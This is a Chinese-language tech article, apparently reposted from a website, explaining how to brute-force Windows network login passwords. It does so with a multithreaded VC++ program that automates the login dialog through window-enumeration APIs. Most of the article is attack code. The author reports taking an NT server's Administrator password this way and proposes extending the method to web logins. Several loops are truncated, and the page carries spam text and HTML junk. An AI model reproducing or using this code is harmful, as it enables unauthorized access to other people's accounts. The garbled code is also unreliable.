• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • Windows網絡用戶登錄密碼的猜解

    發表于:2007-07-14來源:作者:點擊數: 標簽:
    Windows 網絡 用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數EnumWindows ()找到網絡登錄窗口。利用子窗口枚舉函數EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網絡登錄窗口上的各個控件。利用SendDlgItemMessage()或SetD
    Windows網絡用戶密碼猜解算法的主要思想是:利用Windows提供的窗口枚舉函數EnumWindows ()找到網絡登錄窗口。利用子窗口枚舉函數EnumChildWindows ()或GetNext-DlgTabItem()和GetWindowLong()定位網絡登錄窗口上的各個控件。利用SendDlgItemMessage()或SetDlgItemText()來輸入用戶名及密碼。利用SendMessage()發送“確定”消息。這樣一來,就利用程序完成了整個網絡登錄過程。在重復這個過程中采用枚舉的用戶名和密碼,進而完成網絡用戶名及密碼的枚舉猜解。

    一、猜解過程流程:
    為說明問題,下面只寫出主要的過程。對于關鍵過程給出用VC++實現的源碼。下面的流程中Mutex.Lock和Mutex.UnLock之間的代碼只允許單線程訪問?!懊艽a枚舉完”是指用戶指定的字符集合已被枚舉完,程序將再枚舉一個新的用戶名,然后重新枚舉這個字符集合。關于源碼中各函數的具體用法,請參閱MSDN。關于多線程的用法,可參閱《VisualC++技術內幕》。
    下面給出關鍵流程的源代碼

    1. 全局變量:
    struct _Thread
    {
    CWinThread *pThread;
    };
    _Thread WindowThread[iProc],PassTread[1],UserTread[1]; )//iProc:窗口枚舉線程數
    CEvent gEventNextPass;//取下一個密碼,為實現同步引進
    CEvent gEventPassOk;//已取得密碼,為實現同步引進
    CEvent gEventNextUser;//取下一個用戶名,為實現同步引進
    CEvent gEventUserOk;// 已取得用戶名,為實現同步引進
    CMutex gMutex;//互斥量,只允許單線程訪問
    char cCurrentPass[MAX_PASSWORD_LENGTH]; file://當前使用的密碼。
    char cCurrentUser[MAX_USER_LENGTH];//當前使用的用戶名

    2. 線程啟動:
    {
    file://密碼枚舉線程
    if(PassTread[0].pThread==NULL)
    {
    PassTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextPassL,NULL,
    THREAD_PRIORITY_LOWEST);
    PassTread[0].pThread->m_bAutoDelete=TRUE;
    file://這里略去了從文件取得密碼的代碼,這些代碼和用戶名枚舉過程的代碼差不多
    }
    file://用戶名枚舉線程
    if(UserTread[0].pThread==NULL)
    {
    UserTread[0].pThread=AfxBeginThread((AFX_THREADPROC)GetNextUserF,NULL,
    THREAD_PRIORITY_LOWEST);
    PassTread[0].pThread->m_bAutoDelete=TRUE;
    }
    file://窗口枚舉線程
    for(int i=0;i
    {  
    if(WindowThread[i].pThread==NULL){
    WindowThread[i].pThread=AfxBeginThread((AFX_THREADPROC)ThreadProc,NULL,
    THREAD_PRIORITY_LOWEST);
    WindowThread[i].pThread->m_bAutoDelete=TRUE;
    }
    }

    3.窗口及子窗口枚舉
    UINT ThreadProc(LPVOID *pPraram)
    {  
    while(1){ while(!EnumWindows((WNDENUMPROC)EnumWindowsProc,NULL))break;}
    return 0;  
    }

    BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
    {
    char lpWinTitle[MAX_LINELENGTH];
    ::GetWindowText(hwnd,lpWinTitle,MAX_LINELENGTH-1);
    if(strcmp(lpWinTitle,sTitle)==0)// sTitle:網絡登錄窗口的窗口名
    { gMutex.Lock(INFINITE);//防止兩個線程同時操作
    while(EnumChildWindows(hwnd,(WNDENUMPROC)EnumChildProc,NULL));
    gMutex.Unlock();
    return FALSE;
    }
    return TRUE;
    }
    BOOL CALLBACK EnumChildProc( HWND hwnd,LPARAM lParam)
    {
    char sChildName[MAX_LINELENGTH];
    ::GetClassName(hwnd,sChildName,MAX_LINELENGTH-1);
    file://處理編輯控件,登錄窗口中一般只有兩個編輯框,可用MicroSoft Spy++查看窗口的
    file://各個子窗口  
    // 的屬性。通過對比各控件的風格或名字來區別各控件。
    if(strcmp(sChildName,"Edit")==0)
    {
    DWORD dWinSty=::GetWindowLong(hwnd,GWL_STYLE);
    if((dWinSty&ES_PASSWORD)==ES_PASSWORD)//這是密碼輸入編輯控件
    {  
    gEventNextPass.SetEvent();//發送“新密碼”事件  
    WaitForSingleObject(gEventPassOk, INFINITE); file://等待“密碼完成”事件
    gEventPassOk.ResetEvent(); file://復位
    ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
    file://把新密碼填到密碼輸入框,也可用SetWindowText()
    bPass=TRUE;//記錄密碼已填入
    if(bUser&&(hOk!=NULL))//如果用戶名已填入,“確定”按鈕已找到。
    {
    ::SendMessage(::GetParent(hOk),WM_COMMAND,
    (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
    file://向“確定”按鈕送消息,參照ClassWizard的消息映射
    bUser=FALSE;bPass=FALSE;hOk=NULL;
    file://完成一次登錄,初始化
    return FALSE;
    }
    return TRUE;
    }
    file://非此即彼,這是用戶名輸入編輯控件
    if((dWinSty&ES_READONLY)!=ES_READONLY)
    {
    ::SetDlgItemText(::GetWindowLong(hwnd,GWL_ID),cCurrentPass);
    file://把新用戶名填到用戶名輸入框,也可用SetWindowText()
    bUser=TRUE;// 新用戶名已填入用戶名輸入框
    if(bPass&&(hOk!=NULL)) 如果密碼已填入,“確定”按鈕已找到。
    {
    ::SendMessage(::GetParent(hOk),WM_COMMAND,
    (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
    file://向“確定”按鈕送消息,參照ClassWizard的消息映射
    bUser=FALSE;bPass=FALSE;hOk=NULL;
    file://完成一次登錄,初始化
    return FALSE;
    }
    }
    return TRUE;
    }
    file://如果是按鈕控件
    if(strcmp(sChildName,"Button")==0)
    {
    char sChildTitle[MAX_LINELENGTH];
    ::GetWindowText(hwnd,sChildTitle,MAX_LINELENGTH-1);
    if(strcmp(sChildTitle,sButtonOk)!=0) return TRUE;
    // sButtonOk:登錄窗口中“OK”按鈕的標題
    hOk=hwnd;//記錄“OK”窗口句柄
    if(bUser&&bPass)
    {
    ::SendMessage(::GetParent(hOk),WM_COMMAND,
    (WPARAM)::GetWindowLong(hOk,GWL_ID),(LPARAM)(hOk));
    file://向“確定”按鈕送消息,參照ClassWizard的消息映射
    bUser=FALSE;bPass=FALSE;hOk=NULL;
    file://完成一次登錄,初始化
    return FALSE;
    }
    return TRUE;
    }
    return TRUE;
    }

    4.用戶名枚舉:
    UINT GetNextUserF(FILE *file)
    {
    char cUser[MAX_LINELENGTH ],*token;
    FILE *fUser;
    int i,flag=0;
    if(NULL==(fUser=fopen(sUserRoad,"r+"))) file://sUserRoad:是保存用戶名的路徑及文件名
    {
    MessageBox(GetActiveWindow(),"打開文件時出錯。","消息",0);
    if(fUser!=NULL)fclose(fUser);
    return 0;
    }  
    while(!feof(fUser))
    {
    for(i=0;i
    if(NULL==fgets(cUser,MAX_LINELENGTH,fUser))  
    {
    bCheckUser=FALSE;//記錄用戶名枚舉完
    fclose(fUser);
    return 0;
    }
    token=strtok(cUser,SETPRATE);// #define SETPRATE " \t\n\r"
    do
    {
    WaitForSingleObject(gEventNextUser,INFINITE);
    // 等待“新用戶名”事件
    gEventNextUser.ResetEvent();//復位。
    for(i=0;i
    strcpy(cCurrentUser,token);//改變當前用戶名。
    gEventUserOk.SetEvent();//發送“用戶名完成”事件
    }while((token=strtok(NULL,SETPRATE))!=NULL);
    }
    return 1;
    }


    5.密碼枚舉:
    UINT GetNextPassL(LPVOID pParam)
    {
    int i,j,iPre;  
    char cBuf[MAX_PASSWORD_LENGTH];
    BEGIN:
    for(int m=0;m
    {
    file://char cCurrentCharList[MAX_CHARLIST_LENGTH]:當前密碼組成字符集合列表
    file://例如:cCurrentCharList =“abcd”:表示枚舉的密碼由abcd組成
    file://int cCurrentPCList[MAX_CHARLIST_LENGTH]:指向當前密碼
    file://組成字符集合列表的列表
    file://例如:4444:表示生成密碼為“dddd”,
    file://4231:表示生成密碼為“dbca”......
    cCurrentPCList[m]= iCharCount;
    // iCharCount:密碼組成字符的字符個數
    }
    while( cCurrentPCList[0]>=0)//如果CurList.cCurrentPCList[0]<0 結束
    {
    for(int n=0;n
    while(1)
    {
    for(i=0;i
    {
    cBuf[i]=cCurrentCharList[cCurrentPCList[i]];
    }
    WaitForSingleObject(gEventNextPass,INFINITE);
    // 等待“新密碼”事件
    gEventNextPass.ResetEvent();//復位。
    for(int n=0;n
    strcpy( cCurrentPass,cBuf);//改變當前密碼。
    gEventPassOk.SetEvent();//送密碼完成事件
    file://進行cCurrentPCList數組的處理。
    if(( cCurrentPCList[i-1]--)==0)break;
    }
    file://最后一位復iCharCount;;
    cCurrentPCList[i-1]= iCharCount;
    iPre=1;//借位標志
    for(j=i-2;j>=0;j--)
    {
    if(( cCurrentPCList[j]-=iPre)<0)
    {
    if(j==0)break;//結束。
    cCurrentPCList[j]= iCharCount;iPre=1;//復位J,向上借位。
    }
    else {iPre=0;continue;}//不必再向上借位。
    }
    }
    if(cCurrentPCList[0]<=0)
    {
    file://復位,進入下一個循環。
    if(!bCheckUser)//如果用戶名枚舉完
    {  
    MessageBox(GetActiveWindow(),"所有的用戶名及密碼已枚舉完。","消息",0);  
    return 0;
    }
    gEventNextUser.SetEvent();//發送“新用戶名”事件
    WaitForSingleObject(gEventUserOk,INFINITE);  
    file://等待“用戶名完成”事件
    gEventUserOk.ResetEvent();//復位。
    goto BEGIN;
    }
    return 0;  
    }

    二、在局域網及互連網的應用:
    筆者利用按照以上算法編寫的軟件,在一個局域網的WindowsNT工作站上成功地取得了另一臺WindowsNT 服務器的Administrator的密碼。同樣們也可以利用這一算法編寫猜解互連網上密碼的軟件。關鍵的問題是如何在網頁中定位用戶名輸入框和密碼輸入框以及“確定”按鈕。  

    三、存在的問題及解決辦法:
    在10M/100M局域網里,登錄WindowsNT服務器失敗后,大約0.7秒鐘左右后,才再次彈出網絡登錄對話框。這一個時間開銷嚴重地制約著猜解的速度。折衷的解決辦法是通過“資源管理器”同時打開多個網絡登錄對話框(從“網絡鄰居”只能打開一個網絡登錄對話框),這樣可成倍提高猜解的速度,但仍是太慢。此外,可利用幾臺計算機同時猜解。至于猜解互連網上密碼,其速度可想而知了。不過也沒關系,許多的密碼是數字組成的,更多的密碼沒有超出26個字符加10個數字的范圍。而且人們使用這26個字符和10個數字的頻率是不一樣的,可以在枚舉時先枚舉使用頻率高的。 

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>